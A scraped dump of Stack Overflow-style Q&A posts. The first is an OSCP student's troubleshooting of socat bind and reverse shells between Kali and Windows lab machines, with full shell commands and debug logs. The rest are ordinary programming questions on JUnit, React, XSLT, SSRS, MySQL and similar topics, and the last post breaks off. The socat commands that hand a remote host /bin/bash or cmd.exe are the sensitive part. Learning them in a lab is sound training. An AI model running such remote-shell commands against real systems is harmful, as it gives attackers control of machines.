socat OPENSSL:192.168.X.X:443,verify=0 EXEC:/bin/bash

Body:
I recently upgraded my OSCP material to get the new OSCP version 2020 and I came across the chapter with socat to create encrypted bind shell/reverse shell. I thought I understood how to use it, but my attempts to send an encrypted reverse shell from my windows machine to my Kali machine has been unsuccessfuls. I decided to do some trials and error with an unencrypted bind shell on both sides.

Here is what worked for me :

Kali Bind Shell (Getting /bin/bash on Windows by connecting to the kali binded shell socket)

Kali Reverse Shell (Getting /bin/bash on Windows by sending it to the windows listening socket)

Here's what did not worked for me :

Windows Bind Shell (Getting cmd.exe by connecting to the windows listening shell socket)

Windows Reverse Shell (Getting cmd.exe by sending it to the Kali listening socket)

Here is what i did :

Kali Bind Shell - OK

Kali (192.168.119.145)

socat -d -d -d TCP4-LISTEN:4444,fork EXEC:/bin/bash

Windows 10 (192.168.145.10)

socat -d -d -d - TCP4:192.168.119.145:4444

Kali Reverse Shell - OK

Windows 10 (192.168.145.10)

socat -d -d -d TCP4-LISTEN:4444,fork STDOUT

Kali (192.168.119.145)

socat -d -d -d TCP4:192.168.145.10:4444 EXEC:/bin/bash

Windows Bind Shell - NOT OK

Windows 10 (192.168.145.10)

socat -d -d -d TCP4-LISTEN:4444,fork EXEC:cmd.exe

Kali (192.168.119.145)

socat -d -d -d - TCP4:192.168.145.10:4444

Windows Reverse Shell - NOT OK

Kali (192.168.119.145)

socat -d -d -d TCP4-LISTEN:4444,fork STDOUT

Windows 10 (192.168.145.10)

socat -d -d -d TCP4:192.168.119.145:4444 EXEC:cmd.exe

Here is what I get :

Windows bind shell - Windows Machine

C:\Windows\system32>socat -d -d -d TCP4-LISTEN:443,fork EXEC:cmd.exe
2020/02/18 10:22:04 socat[3712] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 10:22:04 socat[3712] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
2020/02/18 10:22:04 socat[3712] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 10:22:04 socat[3712] I setting option "fork" to 1
2020/02/18 10:22:04 socat[3712] I socket(2, 1, 6) -> 5
2020/02/18 10:22:04 socat[3712] I starting accept loop
2020/02/18 10:22:04 socat[3712] N listening on AF=2 0.0.0.0:443
2020/02/18 10:22:25 socat[3712] I accept(5, {2, AF=2 192.168.119.145:36796}, 16) -> 6
2020/02/18 10:22:25 socat[3712] N accepting connection from AF=2 192.168.119.145:36796 on AF=2 192.168.145.10:443
2020/02/18 10:22:25 socat[3712] I permitting connection from AF=2 192.168.119.145:36796
2020/02/18 10:22:25 socat[3712] N forked off child process 4252
2020/02/18 10:22:25 socat[4252] I just born: child proces2020/02/18 10:22:25 socat[3712] I close(6)
2020/02/18 10:22:25 socat[4252] I just born: child process 4252
2020/02/18 10:22:25 socat[4252] I close(5)stening
2020/02/18 10:22:25 socat[4252] N forking off child, using socket for reading and writing
2020/02/18 10:22:25 socat[4252] I socketpair(1, 1, 0, {5,7}) -> 0
2020/02/18 10:22:25 socat[4252] N forked off child process 56402020/02/18 10:22:25 socat[5640] I just born: child proces
2020/02/18 10:22:25 socat[4252] N forked off child process 5640
2020/02/18 10:22:25 socat[5640] I close(5)
2020/02/18 10:22:25 socat[5640] I dup2(7, 0) -> 0
2020/02/18 10:22:25 socat[5640] I dup2(7, 1) -> 1ened all sock addresses
2020/02/18 10:22:25 socat[5640] I close(7) data transfer loop with FDs [6,6] and [5,5]
2020/02/18 10:22:25 socat[5640] N execvp'ing "cmd.exe"
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
2020/02/18 10:22:25 socat[4252] W read(5, 0x20044610, 8192): Connection reset by peer
2020/02/18 10:22:25 socat[3712] N childdied(): handling signal 202020/02/18 10:22:25 socat[4252] I childdied(signum=20)
2020/02/18 10:22:25 socat[4252] I waitpid(): child 5640 exited with status 0
2020/02/18 10:22:25 socat[4252] I childdied() finishedANG): No child processes
2020/02/18 10:22:25 socat[4252] N socket 2 to socket 1 is in error
2020/02/18 10:22:25 socat[4252] N socket 2 (fd 5) is at EOF
2020/02/18 10:22:25 socat[4252] I shutdown(6, 1)
2020/02/18 10:22:25 socat[4252] I terminated child did not leave data for us
2020/02/18 10:22:25 socat[4252] I poll timed out (no data within 0.500000 seconds)
2020/02/18 10:22:25 socat[4252] I shutdown(6, 2)
2020/02/18 10:22:25 socat[4252] I shutdown(5, 2)
2020/02/18 10:22:25 socat[4252] N exiting with status 0
2020/02/18 10:22:25 socat[3712] N childdied(): handling signal 20
2020/02/18 10:22:25 socat[3712] I childdied(signum=20)
2020/02/18 10:22:25 socat[3712] I childdied(20): cannot identify child 4252
2020/02/18 10:22:25 socat[3712] I waitpid(): child 4252 exited with status 0
2020/02/18 10:22:25 socat[3712] I waitpid(-1, {}, WNOHANG): No child processes
2020/02/18 10:22:25 socat[3712] I childdied() finished

Windows Bind Shell - Kali Machine

root@kali:/mnt/hgfs/Shared/OSCPLabsVPN/V2# socat -d -d -d - TCP4:192.168.145.10:443
2020/02/18 13:22:24 socat[9004] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 13:22:24 socat[9004] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/)
2020/02/18 13:22:24 socat[9004] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 13:22:24 socat[9004] N reading from and writing to stdio
2020/02/18 13:22:24 socat[9004] N opening connection to AF=2 192.168.145.10:443
2020/02/18 13:22:24 socat[9004] I starting connect loop
2020/02/18 13:22:24 socat[9004] I socket(2, 1, 6) -> 5
2020/02/18 13:22:24 socat[9004] N successfully connected from local address AF=2 192.168.119.145:36796
2020/02/18 13:22:24 socat[9004] I resolved and opened all sock addresses
2020/02/18 13:22:24 socat[9004] N starting data transfer loop with FDs [0,1] and [5,5]
2020/02/18 13:22:25 socat[9004] N socket 2 (fd 5) is at EOF
2020/02/18 13:22:25 socat[9004] I poll timed out (no data within 0.500000 seconds)
2020/02/18 13:22:25 socat[9004] I shutdown(5, 2)
2020/02/18 13:22:25 socat[9004] N exiting with status 0

Windows Reverse Shell - Kali Machine

root@kali:/mnt/hgfs/Shared/OSCPLabsVPN/V2# socat -d -d -d TCP4-LISTEN:443 STDOUT
2020/02/18 13:07:13 socat[8925] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 13:07:13 socat[8925] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
2020/02/18 13:07:13 socat[8925] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 13:07:13 socat[8925] I socket(2, 1, 6) -> 5
2020/02/18 13:07:13 socat[8925] I starting accept loop
2020/02/18 13:07:13 socat[8925] N listening on AF=2 0.0.0.0:443
2020/02/18 13:07:18 socat[8925] I accept(5, {2, AF=2 192.168.145.10:61633}, 16) -> 6
2020/02/18 13:07:18 socat[8925] N accepting connection from AF=2 192.168.145.10:61633 on AF=2 192.168.119.145:443
2020/02/18 13:07:18 socat[8925] I permitting connection from AF=2 192.168.145.10:61633
2020/02/18 13:07:18 socat[8925] I close(5)
2020/02/18 13:07:18 socat[8925] N using stdout for reading and writing
2020/02/18 13:07:18 socat[8925] I resolved and opened all sock addresses
2020/02/18 13:07:18 socat[8925] N starting data transfer loop with FDs [6,6] and [1,1]
2020/02/18 13:07:18 socat[8925] N socket 1 (fd 6) is at EOF
2020/02/18 13:07:18 socat[8925] I poll timed out (no data within 0.500000 seconds)
2020/02/18 13:07:18 socat[8925] I shutdown(6, 2)
2020/02/18 13:07:18 socat[8925] N exiting with status 0

Windows Reverse Shell - Windows Machine

C:\Windows\system32>socat -d -d -d TCP4:192.168.119.145:443 EXEC:cmd.exe
2020/02/18 10:06:39 socat[5396] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 10:06:39 socat[5396] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
2020/02/18 10:06:39 socat[5396] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 10:06:39 socat[5396] N opening connection to AF=2 192.168.119.145:443
2020/02/18 10:06:39 socat[5396] I starting connect loop
2020/02/18 10:06:39 socat[5396] I socket(2, 1, 6) -> 5
2020/02/18 10:06:39 socat[5396] N successfully connected from local address AF=2 192.168.145.10:61630
2020/02/18 10:06:39 socat[5396] N forking off child, using socket for reading and writing
2020/02/18 10:06:39 socat[5396] I socketpair(1, 1, 0, {6,7}) -> 0
2020/02/18 10:06:39 socat[5396] N forked off child process 2688
2020/02/18 10:06:39 socat[2688] I just born: child process 2688
2020/02/18 10:06:39 socat[5396] N forked off child process 2688
2020/02/18 10:06:39 socat[5396] I close(7)
2020/02/18 10:06:39 socat[5396] I resolved and opened all sock addresses
2020/02/18 10:06:39 socat[5396] N starting data transfer loop with FDs [5,5] and [6,6]
2020/02/18 10:06:39 socat[2688] I close(6)
2020/02/18 10:06:39 socat[2688] I dup2(7, 0) -> 0
2020/02/18 10:06:39 socat[2688] I dup2(7, 1) -> 1
2020/02/18 10:06:39 socat[2688] I close(7)
2020/02/18 10:06:39 socat[2688] N execvp'ing "cmd.exe"
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
2020/02/18 10:06:39 socat[5396] W read(6, 0x20044228, 8192): Connection reset by peer
2020/02/18 10:06:39 socat[5396] N childdied(): handling signal 20
2020/02/18 10:06:39 socat[5396] I childdied(signum=20)
2020/02/18 10:06:39 socat[5396] I exec'd process 2688 on socket 1 terminated
2020/02/18 10:06:39 socat[5396] I waitpid(): child 2688 exited with status 0
2020/02/18 10:06:39 socat[5396] I waitpid(-1, {}, WNOHANG): No child processes
2020/02/18 10:06:39 socat[5396] I childdied() finished
2020/02/18 10:06:39 socat[5396] N socket 2 to socket 1 is in error
2020/02/18 10:06:39 socat[5396] N socket 2 (fd 6) is at EOF
2020/02/18 10:06:39 socat[5396] I shutdown(5, 1)
2020/02/18 10:06:39 socat[5396] I terminated child did not leave data for us
2020/02/18 10:06:39 socat[5396] I poll timed out (no data within 0.500000 seconds)
2020/02/18 10:06:39 socat[5396] I shutdown(5, 2)
2020/02/18 10:06:39 socat[5396] I shutdown(6, 2)
2020/02/18 10:06:39 socat[5396] N exiting with status 0

What am I doing wrong here ?

Why can't I attach a Windows cmd.exe process to a socket ?

PS : I know the timestamps between my exemples doesn't match


问:
Compiling/Running JUnit test in Terminal - Could not find or load main class
Context
I've just started working with Java (Ruby background), and need to test-drive a Hello World CLA. I'm using JUnit (no managers like Gradle/Maven), but cannot compile my test to run it.

Structure

HelloWorldJava/src

main/java/HelloWorld.java

test/java/HelloWorldTest.java

Program

```<code>public class HelloWorld{
    public static void main(String[] args) {
        System.out.println("Hello World!");
    }
}
</code>```

Test

```<code>import org.junit.*;
import static org.junit.jupiter.api.Assertions.*;

import example.util.Calculator;

import org.junit.jupiter.apiTest;

class HelloWorldTest {

@Test
public void testAddition() {
    HelloWorld helloWorld = new HwlloWorld();
        assertTrue(helloWorld.equals("Hello World!"));
    }
}
</code>```

Problem

From src: $ java -cp :'./test/java/*' HelloWorldTest.java returns

Error: Could not find or load main class HelloWorldTest.java

My best guess is that it's something to do with the classpath, but the error isn't giving much.

What do I need to do to compile and run my tests? I have tried changing the test method to 'main', which doesn't change the error.

Edit: I have looked at similar questions and haven't succeeded in implementing a solution.

答:
HelloWorldTest does not contain the main method, that is why it is not found. The main Method is in HelloWorld. To run it type

```<code>java -cp ./test/java HelloWorld
</code>```

But that want run the test. It will print the message.

To run the test you need a main method that starts the JUnit test runner.

```<code>import org.junit.runner.JUnitCore;
import org.junit.runner.Result;
import org.junit.runner.notification.Failure;

public class MyTestRunner {
  public static void main(String[] args) {
    Result result = JUnitCore.runClasses(MyClassTest.class);
    for (Failure failure : result.getFailures()) {
      System.out.println(failure.toString());
    }
  }
}
</code>```

Please read this great tutorial: https://www.vogella.com/tutorials/JUnit/article.html

As a side note I recommend to structure your code in packages.
That is put them in folders and use the package instruction.
See here: https://docs.oracle.com/javase/tutorial/java/package/createpkgs.html

Body:
Context
I've just started working with Java (Ruby background), and need to test-drive a Hello World CLA. I'm using JUnit (no managers like Gradle/Maven), but cannot compile my test to run it.

Structure

HelloWorldJava/src

main/java/HelloWorld.java

test/java/HelloWorldTest.java

Program

public class HelloWorld{
    public static void main(String[] args) {
        System.out.println("Hello World!");
    }
}

Test

import org.junit.*;
import static org.junit.jupiter.api.Assertions.*;

import example.util.Calculator;

import org.junit.jupiter.apiTest;

class HelloWorldTest {

@Test
public void testAddition() {
    HelloWorld helloWorld = new HwlloWorld();
        assertTrue(helloWorld.equals("Hello World!"));
    }
}

Problem

From src: $ java -cp :'./test/java/*' HelloWorldTest.java returns

Error: Could not find or load main class HelloWorldTest.java

My best guess is that it's something to do with the classpath, but the error isn't giving much.

What do I need to do to compile and run my tests? I have tried changing the test method to 'main', which doesn't change the error.

Edit: I have looked at similar questions and haven't succeeded in implementing a solution.

Body:
HelloWorldTest does not contain the main method, that is why it is not found. The main Method is in HelloWorld. To run it type

java -cp ./test/java HelloWorld

But that want run the test. It will print the message.

To run the test you need a main method that starts the JUnit test runner.

import org.junit.runner.JUnitCore;
import org.junit.runner.Result;
import org.junit.runner.notification.Failure;

public class MyTestRunner {
  public static void main(String[] args) {
    Result result = JUnitCore.runClasses(MyClassTest.class);
    for (Failure failure : result.getFailures()) {
      System.out.println(failure.toString());
    }
  }
}

Please read this great tutorial: https://www.vogella.com/tutorials/JUnit/article.html

As a side note I recommend to structure your code in packages.
That is put them in folders and use the package instruction.
See here: https://docs.oracle.com/javase/tutorial/java/package/createpkgs.html


问:
React JS Toogle Class
I have a project that I am developing with React JS. The problem is that I have a button and when I click on it, I just want the icon on the button I click to change. But the icons on all the buttons I click change. My code is below.

```<code>constructor(props){
super(props)
this.state={
    icon: false
}
}

active = (event) => {
    this.setState({icon: !this.state.icon})
}

.....

const menu = ['A','B','C','A','B','C','A','B','C']
<div className="nav_menu">
<ul>
    {menu.map((item,index) =>
        <li key = {index}>
            <Link data-id = {index} className="inactive" to={`${match.url}`} onClick={this.active}>
                <span>
                    <span>
                        <FontAwesomeIcon icon={faHome} className="icon"/>
                    </span>
                    {item}
                </span>
                <FontAwesomeIcon data-id = {index} icon={icon ? faAngleDown:faAngleRight} className="angle"/>
            </Link>
        </li>
    )}
</ul>
</code>```

How do I fix this?

答:
Having just one variable wouldn't suffice as you are not storing which button index has been clicked to accurately show the icon on only that button.</p>

```<code>constructor(props){
super(props)
this.state={
    icon: false,
    clickedIndex: -1,
}
}

active = (clickedIndex)=> (event) => {
    this.setState(prevState => ({icon: !prevState.icon, clickedIndex }));
}

.....

const menu = ['A','B','C','A','B','C','A','B','C']
<div className="nav_menu">
<ul>
    {menu.map((item,index) =>
        <li key = {index}>
            <Link data-id = {index} className="inactive" to={`${match.url}`} onClick={this.active(index)}>
                <span>
                    <span>
                        <FontAwesomeIcon icon={faHome} className="icon"/>
                    </span>
                    {item}
                </span>
                <FontAwesomeIcon data-id = {index} icon={(icon && index === this.state.clickedIndex) ? faAngleDown:faAngleRight} className="angle"/>
            </Link>
        </li>
    )}
</ul>
</code>```

Title: React JS Toogle Class

Body:
I have a project that I am developing with React JS. The problem is that I have a button and when I click on it, I just want the icon on the button I click to change. But the icons on all the buttons I click change. My code is below.

constructor(props){
super(props)
this.state={
    icon: false
}
}

active = (event) => {
    this.setState({icon: !this.state.icon})
}

.....

const menu = ['A','B','C','A','B','C','A','B','C']

    {menu.map((item,index) =>

            <Link data-id = {index} className="inactive" to={`${match.url}`} onClick={this.active}>

                        <FontAwesomeIcon icon={faHome} className="icon"/>

                    {item}

                <FontAwesomeIcon data-id = {index} icon={icon ? faAngleDown:faAngleRight} className="angle"/>
            </Link>

    )}

How do I fix this?

Body:
Having just one variable wouldn't suffice as you are not storing which button index has been clicked to accurately show the icon on only that button.

constructor(props){
super(props)
this.state={
    icon: false,
    clickedIndex: -1,
}
}

active = (clickedIndex)=> (event) => {
    this.setState(prevState => ({icon: !prevState.icon, clickedIndex }));
}

.....

const menu = ['A','B','C','A','B','C','A','B','C']
<div className="nav_menu">
<ul>
    {menu.map((item,index) =>
        <li key = {index}>
            <Link data-id = {index} className="inactive" to={`${match.url}`} onClick={this.active(index)}>
                <span>
                    <span>
                        <FontAwesomeIcon icon={faHome} className="icon"/>
                    </span>
                    {item}
                </span>
                <FontAwesomeIcon data-id = {index} icon={(icon && index === this.state.clickedIndex) ? faAngleDown:faAngleRight} className="angle"/>
            </Link>
        </li>
    )}
</ul>


问:
How to transform XML text received through an AJAX request into a file
I'm making an AJAX request to the server and getting a response as XML text and I've tried a bunch of ways to transform it into a downloadable file but none are working.

I've done something similar for a pdf but the difference is that for the pdf the content is returned as a blob, here's the code:

```<code>         $.ajax({
            method: "GET",
            beforeSend: function(request) {
                request.setRequestHeader("Authorization", bearer));
            },
            url: url,
            xhrFields: {
                responseType: "blob"
            },
            success(blob) {
                var link = document.createElement("a");
                link.href = window.URL.createObjectURL(blob);
                link.download = "file.xml";
                link.click();
            }
        });
</code>```

How can I transform this code so it works the same way when receiving XML text?

答:
If you receive the url of the XML and not the content of the XML file, you can use the headers like

```<code>Content-Type: application/octet-stream
Content-Disposition: attachment; filename="file.xml"
</code>```

It forces the browser to download the XML. You don't need to create a link on the fly and click it programatically, just open the received url by redirecting (location.href) or open in new window/tab (window.open). Latter is handy if you want to make sure to stay on the current page but restricted in some cases. Have fun!

Body:
I'm making an AJAX request to the server and getting a response as XML text and I've tried a bunch of ways to transform it into a downloadable file but none are working.

I've done something similar for a pdf but the difference is that for the pdf the content is returned as a blob, here's the code:

         $.ajax({
            method: "GET",
            beforeSend: function(request) {
                request.setRequestHeader("Authorization", bearer));
            },
            url: url,
            xhrFields: {
                responseType: "blob"
            },
            success(blob) {
                var link = document.createElement("a");
                link.href = window.URL.createObjectURL(blob);
                link.download = "file.xml";
                link.click();
            }
        });

How can I transform this code so it works the same way when receiving XML text?

Body:
If you receive the url of the XML and not the content of the XML file, you can use the headers like

Content-Type: application/octet-stream
Content-Disposition: attachment; filename="file.xml"

It forces the browser to download the XML. You don't need to create a link on the fly and click it programatically, just open the received url by redirecting (location.href) or open in new window/tab (window.open). Latter is handy if you want to make sure to stay on the current page but restricted in some cases. Have fun!


问:
RDLC page width and e.g. line length
I have a RDLC report.

The page is 21cm wide with 1cm margins on both sides (which leaves us 19cm for contents).

The body of the report is 18.96cm wide

There is a line element inside the report with Location = (0cm; 0cm) and EndPoint = (18.95cm, 0cm) thus the length is 18.95cm. This is like a horizontal separator line inside the report.

So, as you see the body should be enough to contain the line (19cm > 18.96cm > 18.95cm). But when I go and display the report in the ReportViewer/PrintLayout control the line actually generates an additional page (because it grows wider for some reason). And this shows up on the actual printed document (if you print it out).

Just in case - the simple view in ReportViewer and the exported report both look fine, no additional pages present.

Please tell me - how does this happen and if there are any workarounds to get a good PrintLayout view inside the ReportViewer control? I do not care about the PrintLayout view itself, but I care about printing the document out, which uses the same PrintLayout.

答:
Yours is a strange scenario. Try giving a tolerance of 5mm (0.5cm) instead and let's see what happens.

In other words set the following

Body: 18.5cm

Line: Location = (0.25cm; 0cm) and End Point = (18.0cm; 0cm)

If that doesn't work, it probably means your page is taller than the size of paper you desire to print on.

A4 is 21cm x 29.7cm so make sure the height of your body is less than 29.7cm. If you have top and bottom margins, you'll have to subtract their values as well so the maximum height will be given as follows:

Max Height = 29.7 - (Top Margin Height + Bottom Margin Height + tolerance)

tolerance value should be approximately 0.5cm

Title: RDLC page width and e.g. line length


问:
How to re-order a xml-file with xslt while keeping structure
I know it is a basic problem but I'm very new to XSL and I don't get it to work. I have a XML-File with a given structure and I want to rearrange the XML in alphabetical order based on one node while keeping the structure. I need that XSLT-Stylesheet to reorder a XML when importing it in Adobe InDesign.

My File:

```<code><?xml version="1.0" encoding="UTF-8"?>
<Root>
    <Employee>
        <First_Name>Andrew</First_Name>
        <Last_Name>Miller</Last_Name>
        <Salary>100000</Salary>
        <Performance>8</Performance>
    </Employee>
    <Employee>
        <First_Name>Betsy</First_Name>
        <Last_Name>Clarke</Last_Name>
        <Salary>105000</Salary>
        <Performance>10</Performance>
    </Employee>
    <Employee>
        <First_Name>Donald</First_Name>
        <Last_Name>Abernathey</Last_Name>
        <Salary>95000</Salary>
        <Performance>7</Performance>
    </Employee>
</Root>
</code>```

I want to rearange the document in the way that it is sorted alphabetically based on the tag <Last_name>. My desired output is:

```<code><?xml version="1.0" encoding="UTF-8"?>
<Root>
    <Employee>
        <First_Name>Donald</First_Name>
        <Last_Name>Abernathey</Last_Name>
        <Salary>95000</Salary>
        <Performance>7</Performance>
    </Employee>
    <Employee>
        <First_Name>Betsy</First_Name>
        <Last_Name>Clarke</Last_Name>
        <Salary>105000</Salary>
        <Performance>10</Performance>
    </Employee>
    <Employee>
        <First_Name>Andrew</First_Name>
        <Last_Name>Miller</Last_Name>
        <Salary>100000</Salary>
        <Performance>8</Performance>
    </Employee>
</Root>
</code>```

I found some solutions to re-arange my output but it's always in respect to output HTML and not XML.

Update: As requested here is my atempt to solve the problem. I stuck because it copyies now all in one tag <Employee>.

```<code><?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" version="1.0" encoding="UTF-8" indent="yes"/>

<xsl:template match="/">
  <Root>
  <Employee>
      <xsl:for-each select="Root/Employee">
      <xsl:sort select="Last_Name"/>
        <First_Name><xsl:value-of select="First_Name"/></First_Name>
        <Last_Name><xsl:value-of select="Last_Name"/></Last_Name>
        <Salary><xsl:value-of select="Salary"/></Salary>
        <Performance><xsl:value-of select="Performance"/></Performance>
      </xsl:for-each>
  </Employee>
  </Root>
</xsl:template>

</xsl:stylesheet>
</code>```

答:
If you transform XML to XML where you want to preserve some or even most of the content I would suggest to start with the identity transformation template and then add the templates that are necessary to perform the change you want to make, e.g. in your case to sort:

```<code><?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    version="1.0">

  <xsl:output method="xml" indent="yes"/>
  <xsl:strip-space elements="*"/>

  <xsl:template match="@* | node()">
    <xsl:copy>
      <xsl:apply-templates select="@* | node()"/>
    </xsl:copy>
  </xsl:template>

  <xsl:template match="Root">
    <xsl:copy>
        <xsl:apply-templates>
            <xsl:sort select="Last_Name"/>
        </xsl:apply-templates>
    </xsl:copy>
  </xsl:template>

</xsl:stylesheet>
</code>```

https://xsltfiddle.liberty-development.net/6rexjig

Body:
I know it is a basic problem but I'm very new to XSL and I don't get it to work. I have a XML-File with a given structure and I want to rearrange the XML in alphabetical order based on one node while keeping the structure. I need that XSLT-Stylesheet to reorder a XML when importing it in Adobe InDesign.

My File:

<?xml version="1.0" encoding="UTF-8"?>
<Root>
    <Employee>
        <First_Name>Andrew</First_Name>
        <Last_Name>Miller</Last_Name>
        <Salary>100000</Salary>
        <Performance>8</Performance>
    </Employee>
    <Employee>
        <First_Name>Betsy</First_Name>
        <Last_Name>Clarke</Last_Name>
        <Salary>105000</Salary>
        <Performance>10</Performance>
    </Employee>
    <Employee>
        <First_Name>Donald</First_Name>
        <Last_Name>Abernathey</Last_Name>
        <Salary>95000</Salary>
        <Performance>7</Performance>
    </Employee>
</Root>

I want to rearange the document in the way that it is sorted alphabetically based on the tag <Last_name>. My desired output is:

<?xml version="1.0" encoding="UTF-8"?>
<Root>
    <Employee>
        <First_Name>Donald</First_Name>
        <Last_Name>Abernathey</Last_Name>
        <Salary>95000</Salary>
        <Performance>7</Performance>
    </Employee>
    <Employee>
        <First_Name>Betsy</First_Name>
        <Last_Name>Clarke</Last_Name>
        <Salary>105000</Salary>
        <Performance>10</Performance>
    </Employee>
    <Employee>
        <First_Name>Andrew</First_Name>
        <Last_Name>Miller</Last_Name>
        <Salary>100000</Salary>
        <Performance>8</Performance>
    </Employee>
</Root>

I found some solutions to re-arange my output but it's always in respect to output HTML and not XML.

Update: As requested here is my atempt to solve the problem. I stuck because it copyies now all in one tag <Employee>.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" version="1.0" encoding="UTF-8" indent="yes"/>

<xsl:template match="/">
  <Root>
  <Employee>
      <xsl:for-each select="Root/Employee">
      <xsl:sort select="Last_Name"/>
        <First_Name><xsl:value-of select="First_Name"/></First_Name>
        <Last_Name><xsl:value-of select="Last_Name"/></Last_Name>
        <Salary><xsl:value-of select="Salary"/></Salary>
        <Performance><xsl:value-of select="Performance"/></Performance>
      </xsl:for-each>
  </Employee>
  </Root>
</xsl:template>

</xsl:stylesheet>

Body:
If you transform XML to XML where you want to preserve some or even most of the content I would suggest to start with the identity transformation template and then add the templates that are necessary to perform the change you want to make, e.g. in your case to sort:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    version="1.0">

  <xsl:output method="xml" indent="yes"/>
  <xsl:strip-space elements="*"/>

  <xsl:template match="@* | node()">
    <xsl:copy>
      <xsl:apply-templates select="@* | node()"/>
    </xsl:copy>
  </xsl:template>

  <xsl:template match="Root">
    <xsl:copy>
        <xsl:apply-templates>
            <xsl:sort select="Last_Name"/>
        </xsl:apply-templates>
    </xsl:copy>
  </xsl:template>

</xsl:stylesheet>

https://xsltfiddle.liberty-development.net/6rexjig


问:
Could not load file or assembly 'MySql.Data.EntityFramework, Version=8.0.19.0 or one of its dependencies
I have just installed the latest version of MySQL.Data.EntityFramework Version 8.0.19.

The first time I run the code I got the following error:

The latest nuget package (MySql.Data 8.0.19) contains an unsigned
  version of Ubiety.Dns.Core.dll. This results in an exception while
  loading.

according to: this bug report, I need to install: Ubiety.Dns.Core/ package... so I installed this package. Now I am getting the following exception:

Could not load file or assembly 'MySql.Data.EntityFramework,
  Version=8.0.19.0, Culture=neutral, PublicKeyToken=c5687fc88969c44d' or
  one of its dependencies.

As a workaround I tried to install the previous version, MySQL.Data.EntityFramework Version 8.0.18 but I cannot find any previous version: MySql.Data.EntityFramework Nuget.

Anyone knows if the previous versions have been removed?

答:
For those who do not want the thousands of redundant warnings that for some reason appears with Ubiety.Dns.Core -- installing an earlier version worked fine for me:</p>

```<code>Install-Package Ubiety.Dns.Core -Version 2.4.1
</code>```

Body:
For those who do not want the thousands of redundant warnings that for some reason appears with Ubiety.Dns.Core -- installing an earlier version worked fine for me:

Install-Package Ubiety.Dns.Core -Version 2.4.1


问:
SSRS Report to check conditions and hide table data
This one worked in the past and its deployed but all of a sudden it is started throwing an error. In the Tablix properties I have to check these 3 conditions:

=IIF(DATEDIFF("d", Parameters!startDate.Value, Parameters!endDate.Value) > 30 AND Parameters!startDate.Value > Today() AndAlso Parameters!endDate.Value > Today() AND Parameters!startDate.Value >= Parameters!endDate.Value, True,False)

If I choose end date as todays date it is throwing a message but it is also displaying data. Please help me. It worked earlier, it used to show only message saying date is future date. Now it is displaying data also. I don't want the data to be displayed. TIA.

答:
Is this expression in the Hidden property of the tablix?
If so then the way it is written means that all the conditions must be true for it to be hidden. If I've read it correctly, if startDate was yesterday but endDate was tomorrow, the result will be False so the tablix would display.

If you are just trying to test if any date is in the future or the dates are more than 30 days apart then you could do something like this.

```<code>=IIF(
    DATEDIFF("d", Parameters!startDate.Value, Parameters!endDate.Value) > 30
    OR Parameters!startDate.Value > Today()
    OR Parameters!endDate.Value > Today()
    , True
    , False
    )
</code>```

Body:
Is this expression in the Hidden property of the tablix?
If so then the way it is written means that all the conditions must be true for it to be hidden. If I've read it correctly, if startDate was yesterday but endDate was tomorrow, the result will be False so the tablix would display.

If you are just trying to test if any date is in the future or the dates are more than 30 days apart then you could do something like this.

=IIF(
    DATEDIFF("d", Parameters!startDate.Value, Parameters!endDate.Value) > 30
    OR Parameters!startDate.Value > Today()
    OR Parameters!endDate.Value > Today()
    , True
    , False
    )


问:
Variables within app.config/web.config
Is it is possible to do something like the following in the app.config or web.config files?

```<code><appSettings>
 <add key="MyBaseDir" value="C:\MyBase" />
 <add key="Dir1" value="[MyBaseDir]\Dir1"/>
 <add key="Dir2" value="[MyBaseDir]\Dir2"/>
</appSettings>
</code>```

I then want to access Dir2 in my code by simply saying:

```<code> ConfigurationManager.AppSettings["Dir2"]
</code>```

This will help me when I install my application in different servers and locations wherein I will only have to change ONE entry in my entire app.config.
(I know I can manage all the concatenation in code, but I prefer it this way).

答: I don't think you can declare and use variables to define appSettings keys within a configuration file. I've always managed concatenations in code like you.</p>

OwnerDisplayName: DeeStackOverflow

ContentLicense: CC BY-SA 2.5

Title: Variables within app.config/web.config

Body:
Is it is possible to do something like the following in the app.config or web.config files?

<appSettings>
 <add key="MyBaseDir" value="C:\MyBase" />
 <add key="Dir1" value="[MyBaseDir]\Dir1"/>
 <add key="Dir2" value="[MyBaseDir]\Dir2"/>
</appSettings>

I then want to access Dir2 in my code by simply saying:

 ConfigurationManager.AppSettings["Dir2"]

This will help me when I install my application in different servers and locations wherein I will only have to change ONE entry in my entire app.config.
(I know I can manage all the concatenation in code, but I prefer it this way).

LastEditorDisplayName: LFSR Consulting

OwnerDisplayName: Tyalis


问:
How can I properly emulate my Fossil (WearOS) watch in Android Emulator?
I'm attempted to develop an app for an Android smart watch (Android Wear), specifically the Fossil Sport watch.

In Android Device Manager, I've set the base device to Android Wear Round Chin and  resolution to 320x320.

